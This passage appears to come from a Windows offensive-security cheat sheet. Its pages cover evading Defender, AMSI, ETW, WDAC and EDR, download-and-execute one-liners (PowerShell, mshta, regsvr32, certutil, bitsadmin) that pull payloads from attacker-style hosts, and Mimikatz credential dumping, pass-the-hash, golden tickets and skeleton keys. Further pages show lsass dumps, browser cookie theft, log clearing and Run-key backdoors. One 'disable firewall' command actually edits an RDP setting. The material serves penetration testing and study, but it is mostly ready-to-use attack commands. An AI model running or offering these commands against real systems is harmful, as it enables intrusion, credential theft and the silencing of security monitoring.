Active Directory: NetLogon {F33959B4-DBEC-11D2-895B-00C04F79AB69}
ADODB.1 {04C8A86F-3369-12F8-4769-24E484A9E725}
ADOMD.1 {7EA56435-3F2F-3F63-A829-F0B35B5CAD41}
...
```
We can get more information about the provider using: `logman query providers {ProviderID}/Provider-Name`
```ps1
PS C:\Users\User\Documents> logman query providers Microsoft-Antimalware-Scan-Interface
Provider GUID
-------------------------------------------------------------------------------
Microsoft-Antimalware-Scan-Interface {2A576B87-09A7-520E-C21A-4942F0271D67}
Value Keyword Description
-------------------------------------------------------------------------------
0x0000000000000001 Event1
0x8000000000000000 AMSI/Debug
Value Level Description
-------------------------------------------------------------------------------
0x04 win:Informational Information
PID Image
-------------------------------------------------------------------------------
0x00002084 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
0x00002084 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
0x00001bd4
0x00000ad0
0x00000b98
```
The `Microsoft-Windows-Threat-Intelligence` provider corresponds to ETWTI, an additional security feature that an EDR can subscribe to and identify malicious uses of APIs (e.g. process injection).
```ps1
0x0000000000000001 KERNEL_THREATINT_KEYWORD_ALLOCVM_LOCAL
0x0000000000000002 KERNEL_THREATINT_KEYWORD_ALLOCVM_LOCAL_KERNEL_CALLER
0x0000000000000004 KERNEL_THREATINT_KEYWORD_ALLOCVM_REMOTE
0x0000000000000008 KERNEL_THREATINT_KEYWORD_ALLOCVM_REMOTE_KERNEL_CALLER
0x0000000000000010 KERNEL_THREATINT_KEYWORD_PROTECTVM_LOCAL
0x0000000000000020 KERNEL_THREATINT_KEYWORD_PROTECTVM_LOCAL_KERNEL_CALLER
0x0000000000000040 KERNEL_THREATINT_KEYWORD_PROTECTVM_REMOTE
0x0000000000000080 KERNEL_THREATINT_KEYWORD_PROTECTVM_REMOTE_KERNEL_CALLER
0x0000000000000100 KERNEL_THREATINT_KEYWORD_MAPVIEW_LOCAL
0x0000000000000200 KERNEL_THREATINT_KEYWORD_MAPVIEW_LOCAL_KERNEL_CALLER
0x0000000000000400 KERNEL_THREATINT_KEYWORD_MAPVIEW_REMOTE
0x0000000000000800 KERNEL_THREATINT_KEYWORD_MAPVIEW_REMOTE_KERNEL_CALLER
0x0000000000001000 KERNEL_THREATINT_KEYWORD_QUEUEUSERAPC_REMOTE
0x0000000000002000 KERNEL_THREATINT_KEYWORD_QUEUEUSERAPC_REMOTE_KERNEL_CALLER
0x0000000000004000 KERNEL_THREATINT_KEYWORD_SETTHREADCONTEXT_REMOTE
0x0000000000008000 KERNEL_THREATINT_KEYWORD_SETTHREADCONTEXT_REMOTE_KERNEL_CALLER
0x0000000000010000 KERNEL_THREATINT_KEYWORD_READVM_LOCAL
0x0000000000020000 KERNEL_THREATINT_KEYWORD_READVM_REMOTE
0x0000000000040000 KERNEL_THREATINT_KEYWORD_WRITEVM_LOCAL
0x0000000000080000 KERNEL_THREATINT_KEYWORD_WRITEVM_REMOTE
0x0000000000100000 KERNEL_THREATINT_KEYWORD_SUSPEND_THREAD
0x0000000000200000 KERNEL_THREATINT_KEYWORD_RESUME_THREAD
0x0000000000400000 KERNEL_THREATINT_KEYWORD_SUSPEND_PROCESS
0x0000000000800000 KERNEL_THREATINT_KEYWORD_RESUME_PROCESS
```
The most common bypassing technique is patching the function `EtwEventWrite` which is called to write/log ETW events. You can list the providers registered for a process with `logman query providers -pid <PID>`
## Windows Defender Antivirus
Also known as `Microsoft Defender`.
```powershell
# check status of Defender
PS C:\> Get-MpComputerStatus
# disable scanning all downloaded files and attachments, disable AMSI (reactive)
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus
PS C:\> Set-MpPreference -DisableIOAVProtection $true
# disable AMSI (set to 0 to enable)
PS C:\> Set-MpPreference -DisableScriptScanning 1
# exclude a folder
PS C:\> Add-MpPreference -ExclusionPath "C:\Temp"
PS C:\> Add-MpPreference -ExclusionPath "C:\Windows\Tasks"
PS C:\> Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"
# exclude using wmi
PS C:\> WMIC /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="C:\Users\Public\wmic"
# remove signatures (if Internet connection is present, they will be downloaded again):
PS > & "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All
PS > & "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
```
## Windows Defender Application Control
Also known as `WDAC/UMCI/Device Guard`.
> Windows Defender Application Guard, formerly known as Device Guard has the power to control if an application may or may not be executed on a Windows device. WDAC will prevent the execution, running, and loading of unwanted or malicious code, drivers, and scripts. WDAC does not trust any software it does not know of.
* Get WDAC current mode
```ps1
$ Get-ComputerInfo
DeviceGuardCodeIntegrityPolicyEnforcementStatus : EnforcementMode
DeviceGuardUserModeCodeIntegrityPolicyEnforcementStatus : EnforcementMode
```
* Remove WDAC policies using CiTool.exe (Windows 11 2022 Update)
```ps1
$ CiTool.exe -rp "{PolicyId GUID}" -json
```
* Device Guard policy location: `C:\Windows\System32\CodeIntegrity\CiPolicies\Active\{PolicyId GUID}.cip`
* Device Guard example policies: `C:\Windows\System32\CodeIntegrity\ExamplePolicies\`
* WDAC utilities: [mattifestation/WDACTools](https://github.com/mattifestation/WDACTools), a PowerShell module to facilitate building, configuring, deploying, and auditing Windows Defender Application Control (WDAC) policies
* WDAC bypass techniques: [bohops/UltimateWDACBypassList](https://github.com/bohops/UltimateWDACBypassList)
* [nettitude/Aladdin](https://github.com/nettitude/Aladdin) - WDAC Bypass using AddInProcess.exe
## Windows Defender Firewall
* List firewall state and current configuration
```powershell
netsh advfirewall firewall dump
# or
netsh firewall show state
netsh firewall show config
```
* List firewall's blocked ports
```powershell
$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules | where {$_.action -eq "0"} | select name,applicationname,localports
```
* Disable firewall
```powershell
# Disable Firewall via cmd
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
# Disable Firewall via Powershell
powershell.exe -ExecutionPolicy Bypass -command 'Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" Value'`
# Disable Firewall on any windows using native command
netsh firewall set opmode disable
netsh Advfirewall set allprofiles state off
```
## Windows Information Protection
Windows Information Protection (WIP), formerly known as Enterprise Data Protection (EDP), is a security feature in Windows 10 that helps protect sensitive data on enterprise devices. WIP helps to prevent accidental data leakage by allowing administrators to define policies that control how enterprise data can be accessed, shared, and protected. WIP works by identifying and separating enterprise data from personal data on the device.
Protection of file (data) locally marked as corporate is facilitated via Encrypting File System (EFS) encryption of Windows (a feature of NTFS file system)
* Enumerate files attributes, `Encrypted` attribute is used for files protected by WIP
```ps1
PS C:\> (Get-Item -Path 'C:\...').attributes
Archive, Encrypted
```
* Encrypt files: `cipher /c encryptedfile.extension`
* Decrypt files: `cipher /d encryptedfile.extension`
The **Enterprise Context** column shows you what each app can do with your enterprise data:
* **Domain**. Shows the employee's work domain (such as, corp.contoso.com). This app is considered work-related and can freely touch and open work data and resources.
* **Personal**. Shows the text, Personal. This app is considered non-work-related and can't touch any work data or resources.
* **Exempt**. Shows the text, Exempt. Windows Information Protection policies don't apply to these apps (such as, system components).
## BitLocker Drive Encryption
BitLocker is a full-disk encryption feature included in Microsoft Windows operating systems starting with Windows Vista. It is designed to protect data by providing encryption for entire volumes. BitLocker uses AES encryption algorithm to encrypt data on the disk. When enabled, BitLocker requires a user to enter a password or insert a USB flash drive to unlock the encrypted volume before the operating system is loaded, ensuring that data on the disk is protected from unauthorized access. BitLocker is commonly used on laptops, portable storage devices, and other mobile devices to protect sensitive data in case of theft or loss.
When BitLocker is in `Suspended` state, boot the system using a Windows Setup USB, and then decrypt the drive using this command: `manage-bde -off c:`
You can check if it is done decrypting using this command: `manage-bde -status`
## References
* [SNEAKING PAST DEVICE GUARD - Cybereason - Philip Tsukerman](https://troopers.de/downloads/troopers19/TROOPERS19_AR_Sneaking_Past_Device_Guard.pdf)
* [PowerShell about_Logging_Windows - Microsoft Documentation](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7.3)
* [Do You Really Know About LSA Protection (RunAsPPL)? - itm4n - Apr 7, 2021](https://itm4n.github.io/lsass-runasppl/)
* [Determine the Enterprise Context of an app running in Windows Information Protection (WIP) - 03/10/2023 - Microsoft](https://learn.microsoft.com/en-us/windows/security/information-protection/windows-information-protection/wip-app-enterprise-context)
* [Create and verify an Encrypting File System (EFS) Data Recovery Agent (DRA) certificate - 12/09/2022 - Microsoft](https://learn.microsoft.com/en-us/windows/security/information-protection/windows-information-protection/create-and-verify-an-efs-dra-certificate)
* [DISABLING AV WITH PROCESS SUSPENSION - March 24, 2023 - By Christopher Paschen ](https://www.trustedsec.com/blog/disabling-av-with-process-suspension/)
* [Disabling Event Tracing For Windows - UNPROTECT PROJECT - Tuesday 19 April 2022](https://unprotect.it/technique/disabling-event-tracing-for-windows-etw/)
* [ETW: Event Tracing for Windows 101 - ired.team](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/etw-event-tracing-for-windows-101)
* [Remove Windows Defender Application Control (WDAC) policies - Microsoft - 12/09/2022](https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/disable-windows-defender-application-control-policies)

View File

@ -0,0 +1,122 @@
# Windows - Download and execute methods
## Downloaded files location
- C:\Users\<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\
- C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\IE\<subdir>
- C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV
## Powershell
From an HTTP server
```powershell
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"
# Download only
(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerUp.ps1", "C:\Windows\Temp\PowerUp.ps1")
Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
# Download and run Rubeus, with arguments
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())
# Execute a specific method from an assembly
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/lib.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)
```
From a Webdav server
```powershell
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
```
## Cmd
```powershell
cmd.exe /k < \\webdavserver\folder\batchfile.txt
```
## Cscript / Wscript
```powershell
cscript //E:jscript \\webdavserver\folder\payload.txt
```
## Mshta
```powershell
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
```
```powershell
mshta http://webserver/payload.hta
```
```powershell
mshta \\webdavserver\folder\payload.hta
```
## Rundll32
```powershell
rundll32 \\webdavserver\folder\payload.dll,entrypoint
```
```powershell
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
```
## Regasm / Regsvc @subTee
```powershell
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
```
## Regsvr32 @subTee
```powershell
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
```
```powershell
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
```
## Odbcconf
```powershell
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
```
## Msbuild
```powershell
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
```
## Certutil
```powershell
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
```
```powershell
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
```
## Bitsadmin
```powershell
bitsadmin /transfer mydownloadjob /download /priority normal http://<attackerIP>/xyz.exe C:\\Users\\%USERNAME%\\AppData\\local\\temp\\xyz.exe
```
## References
- [arno0x0x - Windows oneliners to download remote payload and execute arbitrary code](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)

View File

@ -0,0 +1,318 @@
# Windows - Mimikatz
## Summary
* [Execute commands](#execute-commands)
* [Extract passwords](#extract-passwords)
* [LSA Protection Workaround](#lsa-protection-workaround)
* [Mini Dump](#mini-dump)
* [Pass The Hash](#pass-the-hash)
* [Golden ticket](#golden-ticket)
* [Skeleton key](#skeleton-key)
* [RDP Session Takeover](#rdp-session-takeover)
* [RDP Passwords](#rdp-passwords)
* [Credential Manager & DPAPI](#credential-manager--dpapi)
* [Chrome Cookies & Credential](#chrome-cookies--credential)
* [Task Scheduled credentials](#task-scheduled-credentials)
* [Vault](#vault)
* [Commands list](#commands-list)
* [Powershell version](#powershell-version)
* [References](#references)
![Data in memory](http://adsecurity.org/wp-content/uploads/2014/11/Delpy-CredentialDataChart.png)
## Execute commands
Only one command
```powershell
PS C:\temp\mimikatz> .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit
```
Mimikatz console (multiple commands)
```powershell
PS C:\temp\mimikatz> .\mimikatz
mimikatz # privilege::debug
mimikatz # log
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::wdigest
```
## Extract passwords
> Microsoft disabled lsass clear text storage since Win8.1 / 2012R2+. It was backported (KB2871997) as a reg key on Win7 / 8 / 2008R2 / 2012 but clear text is still enabled.
```powershell
mimikatz_command -f sekurlsa::logonPasswords full
mimikatz_command -f sekurlsa::wdigest
# to re-enable wdigest in Windows Server 2012+
# in HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest
# create a DWORD 'UseLogonCredential' with the value 1.
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /f /d 1
```
:warning: To take effect, conditions are required :
- Win7 / 2008R2 / 8 / 2012 / 8.1 / 2012R2:
* Adding requires lock
* Removing requires signout
- Win10:
* Adding requires signout
* Removing requires signout
- Win2016:
* Adding requires lock
* Removing requires reboot
## LSA Protection Workaround
- LSA as a Protected Process (RunAsPPL)
```powershell
# Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is set to 0x1
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa
# Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe
# Now lets import the mimidriver.sys to the system
mimikatz # !+
# Now lets remove the protection flags from lsass.exe process
mimikatz # !processprotect /process:lsass.exe /remove
# Finally run the logonpasswords function to dump lsass
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::logonpasswords
# Now lets re-add the protection flags to the lsass.exe process
mimikatz # !processprotect /process:lsass.exe
# Unload the service created
mimikatz # !-
# https://github.com/itm4n/PPLdump
PPLdump.exe [-v] [-d] [-f] <PROC_NAME|PROC_ID> <DUMP_FILE>
PPLdump.exe lsass.exe lsass.dmp
PPLdump.exe -v 720 out.dmp
```
- LSA is running as virtualized process (LSAISO) by **Credential Guard**
```powershell
# Check if a process called lsaiso.exe exists on the running processes
tasklist |findstr lsaiso
# Lets inject our own malicious Security Support Provider into memory
# require mimilib.dll in the same folder
mimikatz # misc::memssp
# Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log
```
## Mini Dump
Dump the lsass process with `procdump`
> Windows Defender is triggered when a memory dump of lsass is operated, quickly leading to the deletion of the dump. Using lsass's process identifier (pid) "bypasses" that.
```powershell
# HTTP method - using the default way
certutil -urlcache -split -f http://live.sysinternals.com/procdump.exe C:\Users\Public\procdump.exe
C:\Users\Public\procdump.exe -accepteula -ma lsass.exe lsass.dmp
# SMB method - using the pid
net use Z: https://live.sysinternals.com
tasklist /fi "imagename eq lsass.exe" # Find lsass's pid
Z:\procdump.exe -accepteula -ma $lsass_pid lsass.dmp
```
Dump the lsass process with `rundll32`
```powershell
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass_pid C:\temp\lsass.dmp full
```
Use the minidump:
* Mimikatz: `.\mimikatz.exe "sekurlsa::minidump lsass.dmp"`
```powershell
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonPasswords
```
* Pypykatz: `pypykatz lsa minidump lsass.dmp`
## Pass The Hash
```powershell
mimikatz # sekurlsa::pth /user:SCCM$ /domain:IDENTITY /ntlm:e722dfcd077a2b0bbe154a1b42872f4e /run:powershell
```
## Golden ticket
```powershell
.\mimikatz kerberos::golden /admin:ADMINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt
```
```powershell
.\mimikatz "kerberos::golden /admin:DarthVader /domain:rd.lab.adsecurity.org /id:9999 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit
```
## Skeleton key
```powershell
privilege::debug
misc::skeleton
# map the share
net use p: \\WIN-PTELU2U07KG\admin$ /user:john mimikatz
# login as someone
rdesktop 10.0.0.2:3389 -u test -p mimikatz -d pentestlab
```
## RDP Session Takeover
Use `ts::multirdp` to patch the RDP service to allow more than two users.
* Enable privileges
```powershell
privilege::debug
token::elevate
```
* List RDP sessions
```powershell
ts::sessions
```
* Hijack session
```powershell
ts::remote /id:2
```
Run `tscon.exe` as the SYSTEM user, you can connect to any session without a password.
```powershell
# get the Session ID you want to hijack
query user
create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#55"
net start sesshijack
```
## RDP Passwords
Verify if the service is running:
```ps1
sc queryex termservice
tasklist /M:rdpcorets.dll
netstat -nob | Select-String TermService -Context 1
```
* Extract passwords manually
```ps1
procdump64.exe -ma 988 -accepteula C:\svchost.dmp
strings -el svchost* | grep Password123 -C3
```
* Extract passwords using Mimikatz
```ps1
privilege::debug
ts::logonpasswords
```
## Credential Manager & DPAPI
```powershell
# check the folder to find credentials
dir C:\Users\<username>\AppData\Local\Microsoft\Credentials\*
# check the file with mimikatz
$ mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0
# find master key
$ mimikatz !sekurlsa::dpapi
# use master key
$ mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
```
### Chrome Cookies & Credential
```powershell
# Saved Cookies
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Cookies" /unprotect
dpapi::chrome /in:"C:\Users\kbell\AppData\Local\Google\Chrome\User Data\Default\Cookies" /masterkey:9a6f199e3d2e698ce78fdeeefadc85c527c43b4e3c5518c54e95718842829b12912567ca0713c4bd0cf74743c81c1d32bbf10020c9d72d58c99e731814e4155b
# Saved Credential in Chrome
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect
```
### Task Scheduled credentials
```powershell
mimikatz(commandline) # vault::cred /patch
TargetName : Domain:batch=TaskScheduler:Task:{CF3ABC3E-4B17-ABCD-0003-A1BA192CDD0B} / <NULL>
UserName : DOMAIN\user
Comment : <NULL>
Type : 2 - domain_password
Persist : 2 - local_machine
Flags : 00004004
Credential : XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Attributes : 0
```
### Vault
```powershell
vault::cred /in:C:\Users\demo\AppData\Local\Microsoft\Vault\"
```
## Commands list
| Command |Definition|
|:----------------:|:---------------|
| CRYPTO::Certificates|list/export certificates|
|CRYPTO::Certificates | list/export certificates|
|KERBEROS::Golden | create golden/silver/trust tickets|
|KERBEROS::List | list all user tickets (TGT and TGS) in user memory. No special privileges required since it only displays the current users tickets.Similar to functionality of “klist”.|
|KERBEROS::PTT | pass the ticket. Typically used to inject a stolen or forged Kerberos ticket (golden/silver/trust).|
|LSADUMP::DCSync | ask a DC to synchronize an object (get password data for account). No need to run code on DC.|
|LSADUMP::LSA | Ask LSA Server to retrieve SAM/AD enterprise (normal, patch on the fly or inject). Use to dump all Active Directory domain credentials from a Domain Controller or lsass.dmp dump file. Also used to get specific account credential such as krbtgt with the parameter /name: “/name:krbtgt”|
|LSADUMP::SAM | get the SysKey to decrypt SAM entries (from registry or hive). The SAM option connects to the local Security Account Manager (SAM) database and dumps credentials for local accounts. This is used to dump all local credentials on a Windows computer.|
|LSADUMP::Trust | Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fly). Dumps trust keys (passwords) for all associated trusts (domain/forest).|
|MISC::AddSid | Add to SIDHistory to user account. The first value is the target account and the second value is the account/group name(s) (or SID). Moved to SID:modify as of May 6th, 2016.|
|MISC::MemSSP | Inject a malicious Windows SSP to log locally authenticated credentials.|
|MISC::Skeleton | Inject Skeleton Key into LSASS process on Domain Controller. This enables all user authentication to the Skeleton Key patched DC to use a “master password” (aka Skeleton Keys) as well as their usual password.|
|PRIVILEGE::Debug | get debug rights (this or Local System rights is required for many Mimikatz commands).|
|SEKURLSA::Ekeys | list Kerberos encryption keys|
|SEKURLSA::Kerberos | List Kerberos credentials for all authenticated users (including services and computer account)|
|SEKURLSA::Krbtgt | get Domain Kerberos service account (KRBTGT)password data|
|SEKURLSA::LogonPasswords | lists all available provider credentials. This usually shows recently logged on user and computer credentials.|
|SEKURLSA::Pth | Pass- theHash and Over-Pass-the-Hash|
|SEKURLSA::Tickets | Lists all available Kerberos tickets for all recently authenticated users, including services running under the context of a user account and the local computers AD computer account. Unlike kerberos::list, sekurlsa uses memory reading and is not subject to key export restrictions. sekurlsa can access tickets of others sessions (users).|
|TOKEN::List | list all tokens of the system|
|TOKEN::Elevate | impersonate a token. Used to elevate permissions to SYSTEM (default) or find a domain admin token on the box|
|TOKEN::Elevate /domainadmin | impersonate a token with Domain Admin credentials.
## Powershell version
Mimikatz in memory (no binary on disk) with :
- [Invoke-Mimikatz](https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1) from PowerShellEmpire
- [Invoke-Mimikatz](https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1) from PowerSploit
More information can be grabbed from the Memory with :
- [Invoke-Mimikittenz](https://raw.githubusercontent.com/putterpanda/mimikittenz/master/Invoke-mimikittenz.ps1)
## References
- [Unofficial Guide to Mimikatz & Command Reference](https://adsecurity.org/?page_id=1821)
- [Skeleton Key](https://pentestlab.blog/2018/04/10/skeleton-key/)
- [Reversing Wdigest configuration in Windows Server 2012 R2 and Windows Server 2016 - 5TH DECEMBER 2017 - ACOUCH](https://www.adamcouch.co.uk/reversing-wdigest-configuration-in-windows-server-2012-r2-and-windows-server-2016/)
- [Dumping RDP Credentials - MAY 24, 2021](https://pentestlab.blog/2021/05/24/dumping-rdp-credentials/)

View File

@ -0,0 +1,629 @@
# Windows - Persistence
## Summary
* [Tools](#tools)
* [Hide Your Binary](#hide-your-binary)
* [Disable Antivirus and Security](#disable-antivirus-and-security)
* [Antivirus Removal](#antivirus-removal)
* [Disable Windows Defender](#disable-windows-defender)
* [Disable Windows Firewall](#disable-windows-firewall)
* [Clear System and Security Logs](#clear-system-and-security-logs)
* [Simple User](#simple-user)
* [Registry HKCU](#registry-hkcu)
* [Startup](#startup)
* [Scheduled Tasks User](#scheduled-tasks-user)
* [BITS Jobs](#bits-jobs)
* [Serviceland](#serviceland)
* [IIS](#iis)
* [Windows Service](#windows-service)
* [Elevated](#elevated)
* [Registry HKLM](#registry-hklm)
* [Winlogon Helper DLL](#)
* [GlobalFlag](#)
* [Startup Elevated](#startup-elevated)
* [Services Elevated](#services-elevated)
* [Scheduled Tasks Elevated](#scheduled-tasks-elevated)
* [Binary Replacement](#binary-replacement)
* [Binary Replacement on Windows XP+](#binary-replacement-on-windows-xp)
* [Binary Replacement on Windows 10+](#binary-replacement-on-windows-10)
* [RDP Backdoor](#rdp-backdoor)
* [utilman.exe](#utilman.exe)
* [sethc.exe](#sethc.exe)
* [Remote Desktop Services Shadowing](#remote-desktop-services-shadowing)
* [Skeleton Key](#skeleton-key)
* [Virtual Machines](#virtual-machines)
* [Windows Subsystem for Linux](#windows-subsystem-for-linux)
* [Domain](#domain)
* [Golden Certificate](#golden-certificate)
* [Golden Ticket](#golden-ticket)
* [References](#references)
## Tools
- [SharPersist - Windows persistence toolkit written in C#. - @h4wkst3r](https://github.com/fireeye/SharPersist)
## Hide Your Binary
> Sets (+) or clears (-) the Hidden file attribute. If a file uses this attribute set, you must clear the attribute before you can change any other attributes for the file.
```ps1
PS> attrib +h mimikatz.exe
```
## Disable Antivirus and Security
### Antivirus Removal
* [Sophos Removal Tool.ps1](https://github.com/ayeskatalas/Sophos-Removal-Tool/)
* [Symantec CleanWipe](https://knowledge.broadcom.com/external/article/178870/download-the-cleanwipe-removal-tool-to-u.html)
* [Elastic EDR/Security](https://www.elastic.co/guide/en/fleet/current/uninstall-elastic-agent.html)
```ps1
cd "C:\Program Files\Elastic\Agent\"
PS C:\Program Files\Elastic\Agent> .\elastic-agent.exe uninstall
Elastic Agent will be uninstalled from your system at C:\Program Files\Elastic\Agent. Do you want to continue? [Y/n]:Y
Elastic Agent has been uninstalled.
```
* [Cortex XDR](https://mrd0x.com/cortex-xdr-analysis-and-bypass/)
```ps1
# Global uninstall password: Password1
Password hash is located in C:\ProgramData\Cyvera\LocalSystem\Persistence\agent_settings.db
Look for PasswordHash, PasswordSalt or password, salt strings.
# Disable Cortex: Change the DLL to a random value, then REBOOT
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CryptSvc\Parameters /t REG_EXPAND_SZ /v ServiceDll /d nothing.dll /f
# Disables the agent on startup (requires reboot to work)
cytool.exe startup disable
# Disables protection on Cortex XDR files, processes, registry and services
cytool.exe protect disable
# Disables Cortex XDR (Even with tamper protection enabled)
cytool.exe runtime disable
# Disables event collection
cytool.exe event_collection disable
```
### Disable Windows Defender
```powershell
# Disable Defender
sc config WinDefend start= disabled
sc stop WinDefend
Set-MpPreference -DisableRealtimeMonitoring $true
## Exclude a process / location
Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"
Add-MpPreference -ExclusionProcess 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
Add-MpPreference -ExclusionPath C:\Video, C:\install
# Disable scanning all downloaded files and attachments, disable AMSI (reactive)
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus
PS C:\> Set-MpPreference -DisableIOAVProtection $true
# Disable AMSI (set to 0 to enable)
PS C:\> Set-MpPreference -DisableScriptScanning 1
# Blind ETW Windows Defender: zero out registry values corresponding to its ETW sessions
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
# Wipe currently stored definitions
# Location of MpCmdRun.exe: C:\ProgramData\Microsoft\Windows Defender\Platform\<antimalware platform version>
MpCmdRun.exe -RemoveDefinitions -All
# Remove signatures (if Internet connection is present, they will be downloaded again):
PS > & "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All
PS > & "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
# Disable Windows Defender Security Center
reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
# Disable Real Time Protection
reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
```
### Disable Windows Firewall
```powershell
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off
# ip whitelisting
New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP
```
### Clear System and Security Logs
```powershell
cmd.exe /c wevtutil.exe cl System
cmd.exe /c wevtutil.exe cl Security
```
## Simple User
Set a file as hidden
```powershell
attrib +h c:\autoexec.bat
```
### Registry HKCU
Create a REG_SZ value in the Run key within HKCU\Software\Microsoft\Windows.
```powershell
Value name: Backdoor
Value data: C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
```
Using the command line
```powershell
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
